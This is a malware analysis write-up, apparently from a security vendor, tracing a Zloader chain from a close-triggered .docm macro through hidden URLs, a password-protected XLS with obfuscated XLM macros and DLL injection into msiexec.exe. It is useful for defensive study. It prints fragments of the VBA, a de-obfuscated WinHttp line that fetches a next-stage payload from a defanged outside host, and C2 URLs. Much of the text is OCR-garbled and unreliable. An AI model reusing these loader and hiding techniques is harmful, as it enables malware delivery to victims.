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Zloader aka Terdot — a variant of the infamous Zeus banking malware is well known for aggressively using “.xls”,
“.xlsx” documents as its initial vector to deliver its payload. Despite this, recently we have come across “.docm”

file which is being used by Zoader family to perform its initial activity. This shows adversaries like to experiment

with office documents to avoid being detected by security solutions.
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Fig.1-Attack Chain
Initial Vector:

Here infection chain starts with “.docm” file. Docm stands for “Macro-enabled office word document”. We can

see below, the document view asking user to enable content.
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Fig.2- Document View
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Like many other documents, we tried to observe its activity after enabling content but there was no activity in it.

By looking at its VBA code, we got our answer. Enabling content will not do execution of macro. Here macro
execution starts on “Document close” as shown.

P Microsoft Visual Basic - Dep_det 3444608 [break] - [ThisDocument (Code))

‘& Ele Edit View [nset Format Debug Bun Jools Add-ns Window Help

ME-Ed BN 90> 0 a NP @ z
Iroject = Project LX) [ Toocument ] [cose
oE G E
= 88 Project (Dep_det_344460 - Public gq, ant, vgq, cyo3e, vp
B3 Microsoft Word Objects Sub Document_Close()
3] ThisDocument| non
E-E5 Forms End Sub
BB userForm1 ub nnn ()
B8 userForm2 = hés = Application.Options.OptimizeForWord97byDefault
E8 userForm3 If ie > 3542 Then
E8 UserForm4 zidsj = Application.Options.AutoFormatAsYouTlypeApplyClosings
T Daferancar dm wm owd dmd -

Fig.3- Macro Function Call

As soon as victim close this document, function “nnn” gets called which is the main function of this VBA macro.
In this, again sub functions are being called. Here adversaries also make use of “Userform” to perform next stage

activity.

14x24 = Application.Options.LocalNetworkFile

If hés > 3850 Then

n0 = Application.Options.MultipleWordConversionsMode
hés = n0

' Eerrumz.cmnnzl.l.ist,lndu = 2

Phdme el M

| UserForm

| Private Sub UserForm Initialize()

On Error GoTo ErrorHandler

Fig.4- Sub Function Call

UserForm_Initialize() function is used to invoke “Userform2”. Below image shows the userform2 object. In its

dialog box, url data is chunked and overlapped on 25th ComboBox to hide actual data as shown below.
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Fig.5- Hidden URL Data

After going through all ComboBox of userform2, we were able to locate malicious url which is used to download

2nd stage payload.

ME- - 4 anmn 9>

-8 UserForm2
-8 UserForm3
E UserForm4
E]--[j References
| 88 TemplateProject (Building Block _

[ m | »

fform? toerorn =] 555:-zz;;;;;;;;;;;;;;;;;55555555555555:—;;5555555;'
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Fig.6- Chunked URL Data

To sum up above activity, adversaries are making use of for loop to access all these values and create final url as
shown below,
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jd8 = jdg ~ 2
End If

uy = mw

| Next

=[F «

For ypk = 1 To jd8 Step 2
uv = uv & UserForm2.Controls.Item(ypk)
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Private Sub UserForm Initialize()
On Error GoTo ErrorHandler
jd8 = UserForm2.Controls.Count - 1

If Len(UserForml.ComboBox4) > 10 Then

Value

(-] “https:/feaingfi-ahways. com/ php™ | Varant/String

Fig.7- Creation of URL on Document Close

Site “hxxps[:]//feelingfit-always[.]com/1[.]php” which is malicious having score 11 on virus total, is used to

download password protected XLS file. Its password is hidden again in VBA macro in “Userform1”. By exploring

userform1 data, we were able to extract hidden password.

mx4ne = 1

While o8v <> 0 And mx4ne < 3
Set b8 = gjZm.Workbooks.Open (FileName :=UserFormz2. thoﬁcxl.l Fassword:=UserForml.ComboBox2)

o08v = Err.Number
mx4ne = mx4ne + 1
Wend

Loop to create
URL

Type |Dmhw

UserForm2. UserForm_initialize

Fig.8- Macro Code to protect XLS with password
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Fig.9- XLS Hidden Password

2nd Stage Payload:
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Protecting document with password is classic technique to defend against AV vendors. Correct password is
necessary to dig further into analysis. After matching above password, we can finally see excel workbook

content. XLM macro is used in “Sheet3” to perform further activity.

vV | W | X | Y | zZ | AA AB  AC  AD | AE AF
177 ThisWorlchook.Auto_Open3|

Function bxh59()bxh59="1"End FunctionFunction c7ry1()c7ryl=1End FunctionFunction c9ex5()cYex5=1End FunctionFi

Item

Fig.10- XLS Workbook

Here code is embedded in different cells of document. Below figure shows the extracted macro code from above

workbook:

Fig.11- XLM Macro Code

Here adversaries make use of excel inbuilt functions like IIF and Switch to obfuscate data. Final de-

obfuscated code can be seen as below,
WinHttp.WinHttpRequest.5.1.open GET https|:]//santarosafuneralhome|[.]com/2.php False

WinHttp. WinHttpRequest.5.1.SetRequestHeader
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WinHttp.WinHttpRequest.5.1.send

Above malicious url having virus total score 8 is used to download 3rd stage payload of this attack.

Final Payload Analysis:

The DLL is the final payload of Zloader. Here the DLL is highly obfuscated and avoids direct calls to the

Windows APIs. Hashing is used to calculate the addresses and makes the call with the calculated values, making

the reversing difficult.

[Hex dunp |Disaszembly
11 FPUSH EBP
BY9ES HOU EBP.ESP
53 PUSH EBX
57 PUSH EDI
56 PUSH ESI
B1EC 9980680AA SUB ESP.78
8B75 BC MOV ESI.DWORD PIR S$S:LEBP+C]
68 C4827464 PUSH 647482C4
I E8 E7DDFFFF /CALL nioth.18889D58
83C4 B4 ADD ESP.4
89C1 MOV ECX.ERR
89F8 MOU EAX.ESI
J1p2 XOR EDX.EDX
31DB X0R EBX.EBX
F?F1 DIV ECX
8BB495 B2CB218 MOV EAX.DWORD PTR DS:[EDX=4+18822CBS ]
B9D? HOU EDI . EDR
85Cca TEST EAX.EAX
« 7 33 JE SHORT nioth.18A8BFB6
90 NOP
Lilr AT
lw |Dizacsembly
55 PUSH EBP
BYES MOU EBP.ESP
8B5S @8 MOV EDX,DWORD PTR SS:[EBP+81
8908 MOU EAX.EDX
35 ACBAa7464 XOR EAX.,6474098A0C
8DAC1A LEA ECKX.DWORD PTR DS:[EAX+EDX)
BFAFCA IMUL ECK.EDX
31C1 XOR ECX.EAX
#1011 'ADD ECX.EDX
80AC1 F8 ADD CL.AF&
888D BE2BB219 HMOU BYTE PIR DS:[108228BE].CL
5D POP EBP
G3 RETN
98 NOP

Fig.12 — Code for address calculation

The DLL creates process ‘msiexec.exe’, which is a genuine Microsoft process that belongs to Windows

Component installer, in suspended mode and injects encrypted file to it.
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ig.14- Encrypted file injected in ‘msiexec.exe’

It also injects a routine that will decrypt and bring the malicious PE out for execution.
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Fig.15- Decryption Routine

With the setting of thread context, the initial execution point is passed and finally the injected code is executed

with the resume thread.

When this thread of msiexec.exe comes into execution, it tries to make connection to its CnC servers as shown,
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Madule AP .;L REeturn Value

WININET. il zetSystemTimeAsFileTime | Dx0021221¢ |
WINIMET. dll EnterCriticalSection [ 0xD03ED45E )

WINIMET. dll eaveCriticalSection [ DxD03EILEER )

WININET. dil SetaddinfoEsw [ tiodeitidampheater t™, NULL N5_DNS, HULL WSAHOST NOT.,
wsZ_32.dI b Tisetvalue (31) A
ws2_32.dI F-TisGetvalue (31)

Since these urls were down at the time of analysis, we were not able to go further deeper into it.
Conclusion:

This type of attack shows how adversaries innovate their mechanism to start infection chain to compromise

victim. User should always be cautious while opening any office files. Quick Heal and Seqrite enterprise security

solutions protect its customers from such files. So, remember to keep the endpoint security solutions always

updated.

I0GCs:

DOCM: 117fafb46£27238351f2111e8f01416412044238d2f8378a285063eb9d4eef3d
409ed829f19024045d26cc5d3a06e15a097605e13ba938875eca054a7a4a30b1
91aa050536d834947709776af40c2fde49471d28231de50df0d324cd55101df4

XLS: 52d071922413a3be8815a76118a45bf13d8d323b73ba42377591£fd68c59dfc89
URL:

https[://]tiodeitidampheater.tk/post.php

https[://]actes-etatcivil.com/post.php

https[://]Jankarakreatif.com/post.php

https[://]lwww.ramazanyildiz.net/post.php

https[://]Thispaniaeng.com/post.php

https[://]www.ifdd.francophonie.org/post.php
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